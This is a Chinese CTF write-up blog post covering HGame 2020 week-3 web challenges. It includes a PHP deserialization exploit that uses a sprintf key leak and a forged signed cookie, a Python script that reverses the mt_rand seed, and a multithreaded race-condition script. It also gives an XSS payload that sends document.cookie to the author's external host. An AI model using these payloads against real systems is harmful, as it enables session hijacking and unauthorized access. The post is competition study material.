2020 HGame Web 前三周姿势总结

2

第三周

序列之争 – Ordinal Scale

  • tags:反序列化
  • 难度:中等
  • 分值:300

这个题构造的有点巧妙,一共三个类,只有一个有反序列函数,在这个点反序列另一个类才能拿到 flag。

首先打开网页,要输入一个名字,是一个打怪升级的 web 小游戏,应该是名次拿到第一就给 flag。源码提示有 source.zip,直接下载源码,审计即可。(这个 zip 不知道为啥我在 win 上下不下来,用 vps wget 就可以了,不知道出题人怎么设置的。)

<?php
error_reporting(0);
session_start();

class Game{	
	private $encryptKey = 'SUPER_SECRET_KEY_YOU_WILL_NEVER_KNOW';
	public $welcomeMsg = '%s, Welcome to Ordinal Scale!';

	private $sign = '';
	public $rank;

	public function __construct($playerName){
		$_SESSION['player'] = $playerName;
		if(!isset($_SESSION['exp'])){
			$_SESSION['exp'] = 0;
		}
		$data = [$playerName, $this->encryptKey];
		$this->init($data);
		$this->monster = new Monster($this->sign);
		$this->rank = new Rank();
	}

	private function init($data){
		foreach($data as $key => $value){
			$this->welcomeMsg = sprintf($this->welcomeMsg, $value);
			$this->sign .= md5($this->sign . $value);
		}
	}
}

class Rank{
	private $rank;
    private $serverKey;     // 服务器的 Key
    private $key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';

    public function __construct(){
    	if(!isset($_SESSION['rank'])){
    		$this->Set(rand(2, 1000));
    		return;
    	}

    	$this->Set($_SESSION['rank']);
    }

    public function Set($no){
    	$this->rank = $no;
    }

    public function Get(){
    	return $this->rank;
    }

    public function Fight($monster){
    	if($monster['no'] >= $this->rank){
    		$this->rank -= rand(5, 15);
    		if($this->rank <= 2){
    			$this->rank = 2;
    		}

    		$_SESSION['exp'] += rand(20, 200);
    		return array(
    			'result' => true, 
    			'msg' => '<span style="color:green;">Congratulations! You win! </span>'
    		);
    	}else{
    		return array(
    			'result' => false, 
    			'msg' => '<span style="color:red;">You die!</span>'
    		);
    	}
    }

    public function __destruct(){
        // 确保程序是跑在服务器上的!
    	$this->serverKey = $_SERVER['key'];
    	if($this->key === $this->serverKey){
    		$_SESSION['rank'] = $this->rank;
    	}else{
            // 非正常访问
    		session_start();
    		session_destroy();
    		setcookie('monster', '');
    		header('Location: index.php');
    		exit;
    	}
    }
}

class Monster
{
	private $monsterData;
	private $encryptKey;

	public function __construct($key){
		$this->encryptKey = $key;
		if(!isset($_COOKIE['monster'])){
			$this->Set();
			return;
		}

		$monsterData = base64_decode($_COOKIE['monster']);
		if(strlen($monsterData) > 32){
			$sign = substr($monsterData, -32);
			$monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
			if(md5($monsterData . $this->encryptKey) === $sign){
				$this->monsterData = unserialize($monsterData);
			}else{
				session_start();
				session_destroy();
				setcookie('monster', '');
				header('Location: index.php');
				exit;
			}
		}

		$this->Set();     
	}

	public function Set(){
		$monsterName = ['无名小怪', 'BOSS: The Kernal Cosmos', '小怪: Big Eggplant', 'BOSS: The Mole King', 'BOSS: Zero Zone Witch'];
		$this->monsterData = array(
			'name' => $monsterName[array_rand($monsterName, 1)],
			'no' => rand(1, 2000),
		);
		$this->Save();
	}

	public function Get(){
		return $this->monsterData;
	}

	private function Save(){
		$sign = md5(serialize($this->monsterData) . $this->encryptKey);
		setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));
	}
}

调用的代码:

<?php
    error_reporting(0);
    include_once('cardinal.php');
    if(isset($_SESSION['player'])){
        $playerName = $_SESSION['player'];
    }else{
        $playerName = $_POST['player'] ?? '';
        if($playerName === '' || is_array($playerName)){
            header('Location: index.php');
            exit;
        }
    }

    $game = new Game($playerName);
?>
<?php if($game->rank->Get() === 1){?>
        <h2>hgame{flag_is_here}</h2>
    <?php }?>

代码比较长,稍微审计一下,发现所谓挑战小怪就是比两个类的 rank,但是如果正常玩的话会强制让 rank 最小值为2,因此无法得到 flag。继续审计,发现有 sprintf 函数,再仔细一看 welcomeMsg 是可控的,可以利用 sprintf 函数把 $encryptKey 的值搞出来,在用户名处直接输入 %s 即可。

得到 $encryptKey 的值为 gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL,因此我们可以按照代码的方法算出 Game 类的 sign,这个 sign 用来初始化 monster 类,在 monster 类中有反序列化函数,反序列之前会检查 sign 是否能通过。因此现在有了 $encryptKey 就可以任意合法反序列化。

目前还有一个问题,就是反序列 monster 类并没有什么卵用,因为在 Rank 类的 Fight 方法规定使用正常方法计算所得的 rank 值无法小于 2,因此继续寻找能改 rank 值的地方。

最后发现 Rank 类中构造函数和析构函数用 session 打了一个组合拳,如果反序列化一个 Rank 类,执行魔术方法 __destruct,覆盖掉 $_SESSION[‘rank’] 的值(使其等于一),因此直接构造 Rank 让 Rank->rank = 1,反序列化之后加上 sign,再 base64 放到 cookie 中即可得到 flag。

<?php
// payload.php
// Author : imagin

$encryptKey = 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL';
$welcomeMsg = '%s, Welcome to Ordinal Scale!';
$sign = '';
$playerName = "%s";
$data = [$playerName, $encryptKey];

foreach($data as $key => $value){
	$welcomeMsg = sprintf($welcomeMsg, $value);
	$sign .= md5($sign . $value);
}

echo $sign;
echo "<br>".md5("a:2:{s:4:\"name\";s:23:\"BOSS: The Kernal Cosmos\";s:2:\"no\";i:668;}".$sign);
class Rank{
	private $rank = 1;
}
echo "<br>".md5("O:4:\"Rank\":1:{s:10:\"\00Rank\00rank\";i:1;}".$sign);
echo "<br>".base64_encode("O:4:\"Rank\":1:{s:10:\"\00Rank\00rank\";i:1;}218d1547ad8383ef37016f637db6c83e");

// payload:
//Tzo0OiJSYW5rIjoxOntzOjEwOiIAUmFuawByYW5rIjtpOjE7fTIxOGQxNTQ3YWQ4MzgzZWYzNzAxNmY2MzdkYjZjODNl

二发入魂!

  • tags:mt_rand() 破解
  • 难度:困难
  • 分值:200

这个题目特别坑,打开链接会给一个输入框,输入数字即可输出对应长度的随机数数组。做的时候第一反应就是爆破种子,用 php_mt_seed 爆了几下时间有点长,就改了改这个软件的源码,让他直接从 5.1 版本开始爆破,但是还是要 4s 左右的时间,我寻思可能是我的 7700HQ 已经到了尚能饭否的年纪,于是找 Y1ng 师傅用 i9 跑一下,结果他要十几秒……瞬间对我的电脑产生了自信。

后来 P3rh4ps 师傅告诉了个姿势。这个帖子看了半天也没看懂怎么证明的(wtcl),这里就简单说一下我的理解以及怎么跑脚本吧。

mt_rand() 的输出都是根据种子生成的伪随机数,可以看做通过种子生成一个固定的数组,只要种子确定了就能生成特定的数组。这篇文章的中心思想就是通过间隔227个的两个伪随机数来逆推回种子(可以理解为异或后再异或就可以得到原来的数,具体证明过程请参照上面的链接)。

直接调用作者给的代码, 随便写个脚本就可以得到 flag(注意要带上 cookie 或者用 session 访问)。

# exp.py
# Author : imagin
# make sure the current directory has reverse_mt_rand.py

from requests import *
import os

def execCmd(cmd):  
	r = os.popen(cmd)  
	text = r.read()  
	r.close()  
	return text  

url = "https://twoshot.hgame.n3ko.co/random.php?times=228"
s = session()
a = s.get(url)
l = a.text[1:-1].split(",")
cmd = "python reverse_mt_rand.py " + l[0] + " " + l[227] + " 0 0"
res = execCmd(cmd)
data = {"ans" : int(res[:-1])}
print(data)
r = s.post("https://twoshot.hgame.n3ko.co/verify.php", data)
print(r.text)

运行即可得到 flag。

Cosmos的二手市场

  • tags:条件竞争
  • 难度:中等
  • 分值:300

这个题第一反应是注入,但是第一他不接受符号,第二他最大就接受500,用 hex 也没法绕过,一点思路都没有,后来有个师傅提醒是竞争,才勉强做出来。这个题的难点就在于意识到这是个竞争题。

知道是竞争,直接写脚本多线程访问卖东西即可一夜暴富。

# competition.py
# Author : imagin

from requests import *
import threading

header = { "Cookie" : "PHPSESSID=your cookie here!"}
s = session()
data  = {"code" : "800001", "amount" : "500"}

def p(s, data, header):
	a = s.post("http://121.36.88.65:9999/API/?method=solve", data, headers = header)
	print(a.text)


for x in range(15):
    t = threading.Thread(target=p, args=(s, data, header))
    t.start()

Cosmos的留言板-2

  • tags:delete 注入
  • 难度:困难
  • 分值:300

delete_id 那块有注入点,但是不知道为啥输入 1 or 1 会导致网站崩溃,还没做出来。

Cosmos的聊天室2.0

  • tags:XSS
  • 难度:困难
  • 分值:300

xss 题目,相对于上周的 bypass 大小写,这次是 bypass script 标签。直接双写绕过即可,用 window.open(url) 即可得到 cookie,替换拿 flag 即可。

这题比较迷的点在于我用 iframe 没打出来,能获取到自己的 cookie,但是管理员的死活打不到,看群里也有不少人有这个问题,等官方 wp 出了再看看姿势有什么问题。

payload:

<scscriptript src=http://c-chat-v2.hgame.babelfish.ink/send?
message=window.open('//imagin.vip:9999?t='%2bdocument.cookie);>
</scrscriptipt>

监听 9999 端口即可拿到 cookie

water fox 可还行

在 /flag 替换 cookie 即可得到 flag。

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.